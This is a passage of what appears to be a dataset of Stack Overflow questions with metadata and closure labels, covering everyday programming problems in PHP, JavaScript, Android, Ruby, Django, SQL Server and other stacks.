}
// Build Texture from loaded bitmap for the currently-bind texture
// ID
GLUtils.texImage2D(GL10.GL_TEXTURE_2D, 0, bitmap, 0);
bitmap.recycle();
/******************************************************/
}
}
Please i need a quickly Help
| 0 |
10,714,725 | 05/23/2012 06:40:05 | 47,633 | 12/19/2008 03:12:14 | 5,200 | 118 | set backbone to point to an external endpoint | In backbone, how can I point my entities to an external endpoint?
For example, my app is running on http://myapp.com
And I want it to use the followgin rest web service
http://external.com/api/rest/xxxx
I tried with [urlRoot][1] property but it doesn't seem to work that way
[1]: http://documentcloud.github.com/backbone/#Model-urlRoot | web-services | backbone.js | endpoint | null | null | null | open | set backbone to point to an external endpoint
===
In backbone, how can I point my entities to an external endpoint?
For example, my app is running on http://myapp.com
And I want it to use the followgin rest web service
http://external.com/api/rest/xxxx
I tried with [urlRoot][1] property but it doesn't seem to work that way
[1]: http://documentcloud.github.com/backbone/#Model-urlRoot | 0 |
6,020,846 | 05/16/2011 17:09:21 | 755,676 | 05/16/2011 13:08:22 | 10 | 0 | Quesition about public key encryption | Lets say for example there is a client and a server. They have both exchanged public keys with each other. Now how is public key encryption applied when downloading the data from the server to the client? | windows | linux | encryption | null | null | 05/18/2011 12:14:01 | off topic | Quesition about public key encryption
===
Lets say for example there is a client and a server. They have both exchanged public keys with each other. Now how is public key encryption applied when downloading the data from the server to the client? | 2 |
9,351,034 | 02/19/2012 16:43:46 | 556,479 | 12/28/2010 21:51:51 | 2,994 | 123 | Add a 'prefix' controller to url in CodeIgniter | I currently have an api running on CodeIgniter which can be accessed via http://mysite.com/controller/method/variable. However, I want to convert the url, adding an 'api' prefix before the controller, leaving the url to look like http://mysite.com/api/controller/method/variable.
I presumed that this is to do with routing, so I added two new routes to the routes.php file and edited the previous two:
$route['api/users/auth'] = 'users/auth';
$route['api/users/create'] = 'users/create';
This now adds the 'api' prefix to following urls.
http://mysite.com/api/users/auth
http://mysite.com/api/users/create
But now, the endpoints can still be accessed via a call to the above urls without the 'api' prefix.
How can I prevent this from happening or what would the best way to do this be?
Thanks in advanced. | php | api | codeigniter | rest | null | null | open | Add a 'prefix' controller to url in CodeIgniter
===
I currently have an api running on CodeIgniter which can be accessed via http://mysite.com/controller/method/variable. However, I want to convert the url, adding an 'api' prefix before the controller, leaving the url to look like http://mysite.com/api/controller/method/variable.
I presumed that this is to do with routing, so I added two new routes to the routes.php file and edited the previous two:
$route['api/users/auth'] = 'users/auth';
$route['api/users/create'] = 'users/create';
This now adds the 'api' prefix to following urls.
http://mysite.com/api/users/auth
http://mysite.com/api/users/create
But now, the endpoints can still be accessed via a call to the above urls without the 'api' prefix.
How can I prevent this from happening or what would the best way to do this be?
Thanks in advanced. | 0 |
24,965 | 08/24/2008 10:43:17 | 832 | 08/09/2008 06:51:40 | 1,803 | 138 | TDD n00b - Challenges? Solutions? Recommendations? | OK, I know there have already been questions about [getting started with TDD](http://stackoverflow.com/questions/4303/why-should-i-practice-test-driven-development-and-how-should-i-start).. However, I guess I kind of know the general concensus is to _just do it_ , However, I seem to have the following problems getting my head into the game:
* When working with collections, do will still test for obvious add/remove/inserts successful, even when based on Generics etc where we kind of "know" its going to work?
* Some tests seem to take forever to implement.. Such as when working with string output, is there a "better" way to go about this sort of thing? (e.g. test the object model before parsing, break parsing down into small ops and test there) In my mind you should always test the "end result" but that can vary wildly and be tedious to set up.
* I don't have a testing framework to use (work wont pay for one) so I can "practice" more. Are there any good ones that are free for commercial use? (at the moment I am using good 'ol _Debug.Assert_ :)
* Probably the biggest.. Sometimes I don't know what to expect _NOT_ to happen.. I mean, you get your green light but I am always concerned that I may be missing a test.. Do you dig deeper to try and break the code, or leave it be and wait for it all fall over later (which will cost more)..
So basically what I am looking for here is not a " _just do it_ " but more " _I did this, had problems with this, solved them by this_ ".. The **personal** experience :) | tdd | experience | null | null | null | 10/07/2011 13:02:51 | not constructive | TDD n00b - Challenges? Solutions? Recommendations?
===
OK, I know there have already been questions about [getting started with TDD](http://stackoverflow.com/questions/4303/why-should-i-practice-test-driven-development-and-how-should-i-start).. However, I guess I kind of know the general concensus is to _just do it_ , However, I seem to have the following problems getting my head into the game:
* When working with collections, do will still test for obvious add/remove/inserts successful, even when based on Generics etc where we kind of "know" its going to work?
* Some tests seem to take forever to implement.. Such as when working with string output, is there a "better" way to go about this sort of thing? (e.g. test the object model before parsing, break parsing down into small ops and test there) In my mind you should always test the "end result" but that can vary wildly and be tedious to set up.
* I don't have a testing framework to use (work wont pay for one) so I can "practice" more. Are there any good ones that are free for commercial use? (at the moment I am using good 'ol _Debug.Assert_ :)
* Probably the biggest.. Sometimes I don't know what to expect _NOT_ to happen.. I mean, you get your green light but I am always concerned that I may be missing a test.. Do you dig deeper to try and break the code, or leave it be and wait for it all fall over later (which will cost more)..
So basically what I am looking for here is not a " _just do it_ " but more " _I did this, had problems with this, solved them by this_ ".. The **personal** experience :) | 4 |
5,600,997 | 04/08/2011 21:32:53 | 699,079 | 04/08/2011 17:20:34 | 1 | 0 | RVM wrapper for God: ERROR: Binary 'god' not found. | I'm trying to set up an RVM wrapper for God, but I'm having trouble getting it to work correctly. God is in my path, but it claims it can't find the binary. Did I misconfigure something?
root@hostname:~# rvm info
ruby-1.9.2-p180:
system:
uname: "Linux hostname 2.6.38-linode31 #1 SMP Mon Mar 21 21:22:33 UTC 2011 i686 GNU/Linux"
bash: "/bin/bash => GNU bash, version 4.1.5(1)-release (i686-pc-linux-gnu)"
zsh: " => not installed"
rvm:
version: "rvm 1.6.0 by Wayne E. Seguin (wayneeseguin@gmail.com) [https://rvm.beginrescueend.com/]"
ruby:
interpreter: "ruby"
version: "1.9.2p180"
date: "2011-02-18"
platform: "i686-linux"
patchlevel: "2011-02-18 revision 30909"
full_version: "ruby 1.9.2p180 (2011-02-18 revision 30909) [i686-linux]"
homes:
gem: "/usr/local/rvm/gems/ruby-1.9.2-p180"
ruby: "/usr/local/rvm/rubies/ruby-1.9.2-p180"
binaries:
ruby: "/usr/local/rvm/bin/ruby"
irb: "/usr/local/rvm/bin/irb"
gem: "/usr/local/rvm/bin/gem"
rake: "/usr/local/rvm/bin/rake"
environment:
PATH: "/usr/local/rvm/bin:/usr/local/rvm/gems/ruby-1.9.2-p180/bin:/usr/local/rvm/gems/ruby-1.9.2-p180@global/bin:/usr/local/rvm/rubies/ruby-1.9.2-p180/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
GEM_HOME: "/usr/local/rvm/gems/ruby-1.9.2-p180"
GEM_PATH: "/usr/local/rvm/gems/ruby-1.9.2-p180:/usr/local/rvm/gems/ruby-1.9.2-p180@global"
MY_RUBY_HOME: "/usr/local/rvm/rubies/ruby-1.9.2-p180"
IRBRC: "/usr/local/rvm/rubies/ruby-1.9.2-p180/.irbrc"
RUBYOPT: ""
gemset: ""
root@hostname:~# which god
/usr/local/rvm/gems/ruby-1.9.2-p180/bin/god
root@hostname:~# rvm wrapper @global boot god
ERROR: Binary 'god' not found.
root@hostname:~#
| ruby | rvm | god | null | null | null | open | RVM wrapper for God: ERROR: Binary 'god' not found.
===
I'm trying to set up an RVM wrapper for God, but I'm having trouble getting it to work correctly. God is in my path, but it claims it can't find the binary. Did I misconfigure something?
root@hostname:~# rvm info
ruby-1.9.2-p180:
system:
uname: "Linux hostname 2.6.38-linode31 #1 SMP Mon Mar 21 21:22:33 UTC 2011 i686 GNU/Linux"
bash: "/bin/bash => GNU bash, version 4.1.5(1)-release (i686-pc-linux-gnu)"
zsh: " => not installed"
rvm:
version: "rvm 1.6.0 by Wayne E. Seguin (wayneeseguin@gmail.com) [https://rvm.beginrescueend.com/]"
ruby:
interpreter: "ruby"
version: "1.9.2p180"
date: "2011-02-18"
platform: "i686-linux"
patchlevel: "2011-02-18 revision 30909"
full_version: "ruby 1.9.2p180 (2011-02-18 revision 30909) [i686-linux]"
homes:
gem: "/usr/local/rvm/gems/ruby-1.9.2-p180"
ruby: "/usr/local/rvm/rubies/ruby-1.9.2-p180"
binaries:
ruby: "/usr/local/rvm/bin/ruby"
irb: "/usr/local/rvm/bin/irb"
gem: "/usr/local/rvm/bin/gem"
rake: "/usr/local/rvm/bin/rake"
environment:
PATH: "/usr/local/rvm/bin:/usr/local/rvm/gems/ruby-1.9.2-p180/bin:/usr/local/rvm/gems/ruby-1.9.2-p180@global/bin:/usr/local/rvm/rubies/ruby-1.9.2-p180/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
GEM_HOME: "/usr/local/rvm/gems/ruby-1.9.2-p180"
GEM_PATH: "/usr/local/rvm/gems/ruby-1.9.2-p180:/usr/local/rvm/gems/ruby-1.9.2-p180@global"
MY_RUBY_HOME: "/usr/local/rvm/rubies/ruby-1.9.2-p180"
IRBRC: "/usr/local/rvm/rubies/ruby-1.9.2-p180/.irbrc"
RUBYOPT: ""
gemset: ""
root@hostname:~# which god
/usr/local/rvm/gems/ruby-1.9.2-p180/bin/god
root@hostname:~# rvm wrapper @global boot god
ERROR: Binary 'god' not found.
root@hostname:~#
| 0 |
10,737,222 | 05/24/2012 12:08:38 | 1,414,781 | 05/24/2012 10:33:52 | 1 | 0 | No navigation after using ajax | I'm using this script to show a loading image before I load 3 pages. The problem is when I go to these pages and click on one of the 3 pages' links, it doesn't do anything. Just adds a # to the end of the url.
$.ajaxSetup({
cache: false
});
//Loading Image.
var ajax_load = "<img src='http://d2o0t5hpnwv4c1.cloudfront.net/412_ajaxCalls/DEMO/img/load.gif' alt='loading...' style='top:48%; left:48%; position:relative;'/>";
//PHP file URL.
var loadUrl = "/cakephp/Posts/index";
var loadUrl2 = "/cakephp/Posts/fetchHome";
var loadUrl3 = "/cakephp/accounts/getFollowers";
//$.get()
$("#dash").click(function(){
$(".container-fluid2").html(ajax_load);
$.get(
loadUrl,
{language: "php", version: 5},
function(responseText){
$(".container-fluid2").html(responseText);
history.replaceState(null, "Dashboard", "posts");
},
"html"
);
});
$("#home").click(function(){
$(".container-fluid2").html(ajax_load);
$.get(
loadUrl2,
{language: "php", version: 5},
function(responseText){
$(".container-fluid2").html(responseText);
history.replaceState(null, "Timeline", "posts/fetchHome");
},
"html"
);
});
$("#followers").click(function(){
$(".container-fluid2").html(ajax_load);
$.get(
loadUrl3,
{language: "php", version: 5},
function(responseText){
$(".container-fluid2").html(responseText);
history.replaceState(null, "View followers", "accounts/getFollowers");
},
"html"
);
}); | javascript | ajax | url | cakephp | null | null | open | No navigation after using ajax
===
I'm using this script to show a loading image before I load 3 pages. The problem is when I go to these pages and click on one of the 3 pages' links, it doesn't do anything. Just adds a # to the end of the url.
$.ajaxSetup({
cache: false
});
//Loading Image.
var ajax_load = "<img src='http://d2o0t5hpnwv4c1.cloudfront.net/412_ajaxCalls/DEMO/img/load.gif' alt='loading...' style='top:48%; left:48%; position:relative;'/>";
//PHP file URL.
var loadUrl = "/cakephp/Posts/index";
var loadUrl2 = "/cakephp/Posts/fetchHome";
var loadUrl3 = "/cakephp/accounts/getFollowers";
//$.get()
$("#dash").click(function(){
$(".container-fluid2").html(ajax_load);
$.get(
loadUrl,
{language: "php", version: 5},
function(responseText){
$(".container-fluid2").html(responseText);
history.replaceState(null, "Dashboard", "posts");
},
"html"
);
});
$("#home").click(function(){
$(".container-fluid2").html(ajax_load);
$.get(
loadUrl2,
{language: "php", version: 5},
function(responseText){
$(".container-fluid2").html(responseText);
history.replaceState(null, "Timeline", "posts/fetchHome");
},
"html"
);
});
$("#followers").click(function(){
$(".container-fluid2").html(ajax_load);
$.get(
loadUrl3,
{language: "php", version: 5},
function(responseText){
$(".container-fluid2").html(responseText);
history.replaceState(null, "View followers", "accounts/getFollowers");
},
"html"
);
}); | 0 |
6,370,949 | 06/16/2011 11:19:56 | 793,894 | 06/11/2011 11:19:44 | 1 | 0 | Help me to resolve this error | Sir, I am trying to create a activity for displaying a menu on the emulator screen, by adding this code in my AndroidViews.java file
**AndroidViews.java**
@Override
public boolean onCreateOptionMenu(Menu menu)
{
super.onCreateOptionsMenu(menu);
menu.add(0,1, Menu.NONE,"M1");
menu.add(0,2,Menu.NONE, "Button");
menu.add(0,3,Menu.NONE, "CheckBox");
return true;
}
i am trying to Override the onCreateOptionMenu method of activity class but whenever I have write a Override keyword with the method it will produced an error i.e.
**The method onCreateOptionMenu(Menu) of type AndroidViewsActivity must override or implement a supertype method**
Plz help me out as soon as possible | android | null | null | null | null | 06/17/2011 09:11:37 | not a real question | Help me to resolve this error
===
Sir, I am trying to create a activity for displaying a menu on the emulator screen, by adding this code in my AndroidViews.java file
**AndroidViews.java**
@Override
public boolean onCreateOptionMenu(Menu menu)
{
super.onCreateOptionsMenu(menu);
menu.add(0,1, Menu.NONE,"M1");
menu.add(0,2,Menu.NONE, "Button");
menu.add(0,3,Menu.NONE, "CheckBox");
return true;
}
i am trying to Override the onCreateOptionMenu method of activity class but whenever I have write a Override keyword with the method it will produced an error i.e.
**The method onCreateOptionMenu(Menu) of type AndroidViewsActivity must override or implement a supertype method**
Plz help me out as soon as possible | 1 |
4,717,431 | 01/17/2011 20:15:27 | 533,617 | 12/07/2010 12:02:31 | 177 | 2 | php cookie injection vulnerability? | I have a website, on one page it reads a cookie from the users computer and uses that as a variable in the php code, for example in echo statments.
I am not currently cleaning the cooking any way.
2 questions:
1. can someone hack their cookie to put stuff into my php code?
3. if yes, how can i prevent this? HOW can I clean it?
Thanks! | php | security | null | null | null | null | open | php cookie injection vulnerability?
===
I have a website, on one page it reads a cookie from the users computer and uses that as a variable in the php code, for example in echo statments.
I am not currently cleaning the cooking any way.
2 questions:
1. can someone hack their cookie to put stuff into my php code?
3. if yes, how can i prevent this? HOW can I clean it?
Thanks! | 0 |
7,801,381 | 10/18/2011 01:04:52 | 1,000,107 | 10/17/2011 22:55:06 | 14 | 0 | database applications for using foreign keys | Which programming language should be used for doing a project?
What do we need to consider when we have to make a decision about this ?
I know this depends on many things.
(1) If the executable file performance is much more important than project speed, we need to use compile language to get high performance. Otherwise, we use script language, which can do fast implementations of ideas.
(2) If portability is more important than performance, script languages are a good choice.
(3) Re-usability and expandability is an advantage of Object-oriented language.
Are there other factors that should be considered ?
Thanks | c++ | programming-languages | script | project-management | project | 10/18/2011 01:45:02 | not constructive | database applications for using foreign keys
===
Which programming language should be used for doing a project?
What do we need to consider when we have to make a decision about this ?
I know this depends on many things.
(1) If the executable file performance is much more important than project speed, we need to use compile language to get high performance. Otherwise, we use script language, which can do fast implementations of ideas.
(2) If portability is more important than performance, script languages are a good choice.
(3) Re-usability and expandability is an advantage of Object-oriented language.
Are there other factors that should be considered ?
Thanks | 4 |
8,742,191 | 01/05/2012 12:04:13 | 1,132,064 | 01/05/2012 11:55:01 | 1 | 0 | How to convert 12 hours time to 24 hours time in PHP | I want to convert 12 hours time to 24 hours time in php.please help | php | null | null | null | null | 01/05/2012 12:19:11 | not a real question | How to convert 12 hours time to 24 hours time in PHP
===
I want to convert 12 hours time to 24 hours time in php.please help | 1 |
8,537,913 | 12/16/2011 17:29:46 | 826,614 | 07/03/2011 05:39:19 | 40 | 1 | pdf to xml or html or text formats | I have a pdf document, that have information, presented in tables.
How can i convert it to html or xml or text to read this tables like text?
Is there any good programs?
Both Perl-modules and .Net-Classes are good. Maybe good executable console application?
XMLFile = new PDFTOXML('file.pdf');
String[] StrArray = XMLFile.getText();
Something like this.
Best way is ability to get tables from xml.
Thank you!
| c# | xml | perl | pdf | null | null | open | pdf to xml or html or text formats
===
I have a pdf document, that have information, presented in tables.
How can i convert it to html or xml or text to read this tables like text?
Is there any good programs?
Both Perl-modules and .Net-Classes are good. Maybe good executable console application?
XMLFile = new PDFTOXML('file.pdf');
String[] StrArray = XMLFile.getText();
Something like this.
Best way is ability to get tables from xml.
Thank you!
| 0 |
6,550,898 | 07/01/2011 16:51:16 | 406,762 | 07/30/2010 13:35:07 | 174 | 0 | Learning Javascript and would love some direction/help/advice | Im currently trying to get my head round the ins and outs of javascript, up to this point Ive learnt the fundamentals such as variables, loops, functions, loops, arrays etc but everything has been coming out of the book Im working on 'Head First Javascript' what I would like to do is create a mini-project that will help me tie what Ive learnt so far together but Im not sure what would be good to try and create, does anyone have any mini-project ideas that would help get me moving with actually writing loads of (very rough) Javascript code?
p.s im focusing on pure javascript learning and with no frameworks.
Thanks
Kyle | javascript | null | null | null | null | 07/01/2011 19:23:20 | not constructive | Learning Javascript and would love some direction/help/advice
===
Im currently trying to get my head round the ins and outs of javascript, up to this point Ive learnt the fundamentals such as variables, loops, functions, loops, arrays etc but everything has been coming out of the book Im working on 'Head First Javascript' what I would like to do is create a mini-project that will help me tie what Ive learnt so far together but Im not sure what would be good to try and create, does anyone have any mini-project ideas that would help get me moving with actually writing loads of (very rough) Javascript code?
p.s im focusing on pure javascript learning and with no frameworks.
Thanks
Kyle | 4 |
11,544,621 | 07/18/2012 15:13:31 | 1,532,104 | 07/17/2012 14:32:38 | 1 | 0 | SQL Server 2005 wont update records | I currently have an SQL Server 2005 set up and has been running successfully for quite a long period of time without any issues.
As of this morning our website applications have been attempting to perform udpates on various records however everytime an update happens the data never gets updated in the database.
OUr Applications code hasnt been changed in anyway, and there appears to be no errors of any kind.
Is there anything in SQL Server that can prevent updates from being performed on a database
Can the size of transaction logs prevent data from being updated on an SQL Database ?
Or anything at all that can cause this strange behaviour
thanks in advance
| sql | sql-server | null | null | null | null | open | SQL Server 2005 wont update records
===
I currently have an SQL Server 2005 set up and has been running successfully for quite a long period of time without any issues.
As of this morning our website applications have been attempting to perform udpates on various records however everytime an update happens the data never gets updated in the database.
OUr Applications code hasnt been changed in anyway, and there appears to be no errors of any kind.
Is there anything in SQL Server that can prevent updates from being performed on a database
Can the size of transaction logs prevent data from being updated on an SQL Database ?
Or anything at all that can cause this strange behaviour
thanks in advance
| 0 |
595,940 | 02/27/2009 18:15:25 | 33,061 | 10/31/2008 11:33:56 | 234 | 0 | seemingly completely random syntax errors python | Here's a small sample section of some code I'm writing with python and pygame, for some reason it seems to be claiming that some seemingly very simple and apparently accurate things are syntax errors. Here's possibly the most annoying example.
def Draw():
Surface.fill((255,255,255))
for square in squares:
pygame.draw.rect(Surface,(0,0,0),(square.x,square.y,height,height)
def main():
while True:
GetInput()
Move()
CollisionDetect()
Draw()
for some reason the word def at the start of line 6 get higlighted red and marked as an error, any idea why would be incredibly helpful, thanks :) (any other code you need, just comment). | python | pygame | def | syntax | error | null | open | seemingly completely random syntax errors python
===
Here's a small sample section of some code I'm writing with python and pygame, for some reason it seems to be claiming that some seemingly very simple and apparently accurate things are syntax errors. Here's possibly the most annoying example.
def Draw():
Surface.fill((255,255,255))
for square in squares:
pygame.draw.rect(Surface,(0,0,0),(square.x,square.y,height,height)
def main():
while True:
GetInput()
Move()
CollisionDetect()
Draw()
for some reason the word def at the start of line 6 get higlighted red and marked as an error, any idea why would be incredibly helpful, thanks :) (any other code you need, just comment). | 0 |
8,238,545 | 11/23/2011 07:24:35 | 316,441 | 04/14/2010 11:33:36 | 60 | 3 | Unknow start proc to start my activity | I got a strange problem.
First, that's my activity flow
IntActivity -> 111Activity -> 222activity -> 333Activity
Each activity have [Forward] & [Back] button. (software button)
And what I'm doing in [Forward] is: (ie. Int to 111)
Intent intent=new Intent(IntActivity.this, 111Activity.class);
startActivity(intent);
finish();
Doing this in [Back]: (ie. 333 back to 222)
Intent intent=new Intent(333Activity.this, 222Activity.class);
startActivity(intent);
finish();
overridePendingTransition(android.R.anim.slide_in_left,android.R.anim.slide_out_right);
Now, user says if they quickly press [Back], sometime when IntActivity has been closed, they'll see
a blank page. looks like 333Activity.
Blank page means it has full UI component, but no any user data inside.
If 333Activity was started correctly, it should filled with user data, and 333Activity ony can be start by 222Activity.
Following is what did I see on logcat
INFO/ActivityManager(1321): Starting activity: Intent { cmp=tw.com.xxxx.android.yyyy/.IntActivity } from pid 14517
DEBUG/dalvikvm(14517): GC_EXPLICIT freed 2084K, 56% free 3653K/8199K, external 8158K/10188K, paused 65ms
ERROR/SurfaceFlinger(1321): layer=0xa49520 is not in the purgatory list
INFO/ActivityManager(1321): Process tw.com.xxxx.android.yyyy (pid 14517) has died.
// Here, the IntActivity ware been finished due to finish(); or System.exit(0); been called
INFO/WindowManager(1321): WIN DEATH: Window{40a0cae8 tw.com.xxxx.android.yyyy/tw.com.xxxx.android.yyyy.111Activity paused=false}
INFO/WindowManager(1321): WIN DEATH: Window{40a2a828 tw.com.xxxx.android.yyyy/tw.com.xxxx.android.yyyy.IntActivity paused=false}
INFO/ActivityManager(1321): Start proc tw.com.xxxx.android.yyyy for activity tw.com.xxxx.android.yyyy/.333Activity: pid=14535 uid=10105 gids={3003}
Check the last line of log, it's not "Starting activity", but "Start proc".
I still don't know what exactly going on...any ideas or suggestions are welcome :)
| android | activity | null | null | null | null | open | Unknow start proc to start my activity
===
I got a strange problem.
First, that's my activity flow
IntActivity -> 111Activity -> 222activity -> 333Activity
Each activity have [Forward] & [Back] button. (software button)
And what I'm doing in [Forward] is: (ie. Int to 111)
Intent intent=new Intent(IntActivity.this, 111Activity.class);
startActivity(intent);
finish();
Doing this in [Back]: (ie. 333 back to 222)
Intent intent=new Intent(333Activity.this, 222Activity.class);
startActivity(intent);
finish();
overridePendingTransition(android.R.anim.slide_in_left,android.R.anim.slide_out_right);
Now, user says if they quickly press [Back], sometime when IntActivity has been closed, they'll see
a blank page. looks like 333Activity.
Blank page means it has full UI component, but no any user data inside.
If 333Activity was started correctly, it should filled with user data, and 333Activity ony can be start by 222Activity.
Following is what did I see on logcat
INFO/ActivityManager(1321): Starting activity: Intent { cmp=tw.com.xxxx.android.yyyy/.IntActivity } from pid 14517
DEBUG/dalvikvm(14517): GC_EXPLICIT freed 2084K, 56% free 3653K/8199K, external 8158K/10188K, paused 65ms
ERROR/SurfaceFlinger(1321): layer=0xa49520 is not in the purgatory list
INFO/ActivityManager(1321): Process tw.com.xxxx.android.yyyy (pid 14517) has died.
// Here, the IntActivity ware been finished due to finish(); or System.exit(0); been called
INFO/WindowManager(1321): WIN DEATH: Window{40a0cae8 tw.com.xxxx.android.yyyy/tw.com.xxxx.android.yyyy.111Activity paused=false}
INFO/WindowManager(1321): WIN DEATH: Window{40a2a828 tw.com.xxxx.android.yyyy/tw.com.xxxx.android.yyyy.IntActivity paused=false}
INFO/ActivityManager(1321): Start proc tw.com.xxxx.android.yyyy for activity tw.com.xxxx.android.yyyy/.333Activity: pid=14535 uid=10105 gids={3003}
Check the last line of log, it's not "Starting activity", but "Start proc".
I still don't know what exactly going on...any ideas or suggestions are welcome :)
| 0 |
195,096 | 10/12/2008 04:26:08 | 27,109 | 10/11/2008 19:42:42 | 18 | 1 | Is there a site that emails out daily C# tips and tricks? | I subscribe to a newsletter from www.sqlservercentral.com that I like because each day I get an email digest with some interesting headlines & summaries of SQL Server articles that are already out there on the web. It's a great way to learn something new a bit at a time.
Is there something like this for C#? | c# | tips-and-tricks | null | null | null | 07/21/2012 19:12:29 | not constructive | Is there a site that emails out daily C# tips and tricks?
===
I subscribe to a newsletter from www.sqlservercentral.com that I like because each day I get an email digest with some interesting headlines & summaries of SQL Server articles that are already out there on the web. It's a great way to learn something new a bit at a time.
Is there something like this for C#? | 4 |
1,112,123 | 07/10/2009 21:36:13 | 4,593 | 09/04/2008 19:05:18 | 948 | 54 | Immediate Window for Eclipse | Does Eclipse have an analog to Visual Studio's "Immediate Window", a window where I can evaluate statements while in the debugger? | eclipse | visualstudio | immediate-window | null | null | null | open | Immediate Window for Eclipse
===
Does Eclipse have an analog to Visual Studio's "Immediate Window", a window where I can evaluate statements while in the debugger? | 0 |
8,983,225 | 01/24/2012 07:13:32 | 817,321 | 06/27/2011 12:03:25 | 51 | 1 | How to reload div using jquery? | I want to reload only the div without reloading page. | javascript | jquery | null | null | null | 01/24/2012 13:21:05 | not a real question | How to reload div using jquery?
===
I want to reload only the div without reloading page. | 1 |
11,207,541 | 06/26/2012 12:40:06 | 1,482,328 | 06/26/2012 09:55:43 | 1 | 0 | some troubles with including sdk | I only started use pst sdk and have some troubles.
I use simple test project, and added the path to sdk and boots in property of project. And when i building the solution i had next problems.
<code>
#include <pst.h>
#include <iostream>
#include <iterator>
#include <algorithm>
int main()
{
pst myfile(L"mybackup.pst");
return 1;
}
</code>
<troubles>
Error 1 error C2065: 'pst' : undeclared identifier d:\developer\visual c++\test\test\test.cpp 8
Error 2 error C2146: syntax error : missing ';' before identifier 'myfile' d:\developer\visual c++\test\test\test.cpp 8
Error 3 error C3861: 'myfile': identifier not found d:\developer\visual c++\test\test\test.cpp 8
4 IntelliSense: static assertion failed with "header<ulonglong> dwCRCFull at incorrect offset" c:\usr\pst file format sdk\pstsdk\pstsdk\disk\disk.h 208
5 IntelliSense: identifier "pst" is undefined d:\developer\visual c++\test\test\test.cpp 8
</troubles>
Has someone such problems? and
how could i fixed it? | c++ | pst | null | null | null | null | open | some troubles with including sdk
===
I only started use pst sdk and have some troubles.
I use simple test project, and added the path to sdk and boots in property of project. And when i building the solution i had next problems.
<code>
#include <pst.h>
#include <iostream>
#include <iterator>
#include <algorithm>
int main()
{
pst myfile(L"mybackup.pst");
return 1;
}
</code>
<troubles>
Error 1 error C2065: 'pst' : undeclared identifier d:\developer\visual c++\test\test\test.cpp 8
Error 2 error C2146: syntax error : missing ';' before identifier 'myfile' d:\developer\visual c++\test\test\test.cpp 8
Error 3 error C3861: 'myfile': identifier not found d:\developer\visual c++\test\test\test.cpp 8
4 IntelliSense: static assertion failed with "header<ulonglong> dwCRCFull at incorrect offset" c:\usr\pst file format sdk\pstsdk\pstsdk\disk\disk.h 208
5 IntelliSense: identifier "pst" is undefined d:\developer\visual c++\test\test\test.cpp 8
</troubles>
Has someone such problems? and
how could i fixed it? | 0 |
8,958,641 | 01/22/2012 03:11:17 | 820,942 | 06/29/2011 11:15:03 | 29 | 1 | local server connection to remote mysql | I have found this question here and around internet for few times, but none answered helped me.
So I have a local apache+php server and trying to connect to remote mysql database. But script returns me error and in error log i see:
PHP Warning: mysql_connect(): Premature end of data (mysqlnd_wireprotocol.c:553) in D:\\_SERVER\\_WWW\\project\\api\\classes\\database.php on line 13
PHP Warning: mysql_connect(): OK packet 1 bytes shorter than expected in D:\\_SERVER\\_WWW\\project\\api\\classes\\database.php on line 13
PHP Warning: mysql_connect(): mysqlnd cannot connect to MySQL 4.1+ using the old insecure authentication. Please use an administration tool to reset your password with the command SET PASSWORD = PASSWORD('your_existing_password'). This will store a new, and more secure, hash value in mysql.user. If this user is used in other scripts executed by PHP 5.2 or earlier you might need to remove the old-passwords flag from your my.cnf file in D:\\_SERVER\\_WWW\\project\\api\\classes\\database.php on line 13
The script for connection (just the part connecting to server):
function db_connect(){
// Connect to the database server
$connection = mysql_connect("server.com:3306","username","password",true);
if (!$connection){
echo "Could not connect to the Database server, please check your settings";
die;
}
...
}
The trick with setting PASSWORD did not work for me, can someone please help me ?
Thank you | php | mysql | null | null | null | null | open | local server connection to remote mysql
===
I have found this question here and around internet for few times, but none answered helped me.
So I have a local apache+php server and trying to connect to remote mysql database. But script returns me error and in error log i see:
PHP Warning: mysql_connect(): Premature end of data (mysqlnd_wireprotocol.c:553) in D:\\_SERVER\\_WWW\\project\\api\\classes\\database.php on line 13
PHP Warning: mysql_connect(): OK packet 1 bytes shorter than expected in D:\\_SERVER\\_WWW\\project\\api\\classes\\database.php on line 13
PHP Warning: mysql_connect(): mysqlnd cannot connect to MySQL 4.1+ using the old insecure authentication. Please use an administration tool to reset your password with the command SET PASSWORD = PASSWORD('your_existing_password'). This will store a new, and more secure, hash value in mysql.user. If this user is used in other scripts executed by PHP 5.2 or earlier you might need to remove the old-passwords flag from your my.cnf file in D:\\_SERVER\\_WWW\\project\\api\\classes\\database.php on line 13
The script for connection (just the part connecting to server):
function db_connect(){
// Connect to the database server
$connection = mysql_connect("server.com:3306","username","password",true);
if (!$connection){
echo "Could not connect to the Database server, please check your settings";
die;
}
...
}
The trick with setting PASSWORD did not work for me, can someone please help me ?
Thank you | 0 |
5,030,899 | 02/17/2011 15:24:31 | 581,510 | 01/19/2011 13:44:52 | 21 | 0 | php script for blogging website | i want to build a website where users can post some articles and admini can review them and assign some points to them and categories them for that i need a php script and documentation of it so i can make some changes according to my needs and it should be in MVC (model view control ).
please help me | php | script | null | null | null | 02/17/2011 15:30:07 | not a real question | php script for blogging website
===
i want to build a website where users can post some articles and admini can review them and assign some points to them and categories them for that i need a php script and documentation of it so i can make some changes according to my needs and it should be in MVC (model view control ).
please help me | 1 |
11,626,357 | 07/24/2012 07:47:24 | 1,547,924 | 07/24/2012 07:42:12 | 1 | 0 | Debugging by Lauterbatch | I have some issues when using lauterbatch. I want to create Practice sripts and intergration to existing scripts. For example, I'm testing for board Arm.... I have script arm.cmm but when im running the value of register is changed. I can debugging and set that by manual but i want to done by full auto. So Im using Practice scripts language to check value of register but I don't know anyway to integrate new script ".cmm" to existing scripts. Senior, please help me!
Thanks all and Regards, | debugging | assembly | null | null | null | null | open | Debugging by Lauterbatch
===
I have some issues when using lauterbatch. I want to create Practice sripts and intergration to existing scripts. For example, I'm testing for board Arm.... I have script arm.cmm but when im running the value of register is changed. I can debugging and set that by manual but i want to done by full auto. So Im using Practice scripts language to check value of register but I don't know anyway to integrate new script ".cmm" to existing scripts. Senior, please help me!
Thanks all and Regards, | 0 |
1,953,058 | 12/23/2009 14:20:34 | 220,129 | 11/27/2009 16:11:09 | 1 | 0 | Django Forms save_m2m | Hi I have a model which has 2 many to many fields in it. one is a standard m2m field which does not use any through tables whereas the other is a bit more complecated and has a through table. I am using the Django forms.modelform to display and save the forms. The code I have to save the form is
if form.is_valid():
f = form.save(commit=False)
f.modified_by = request.user
f.save()
form.save_m2m()
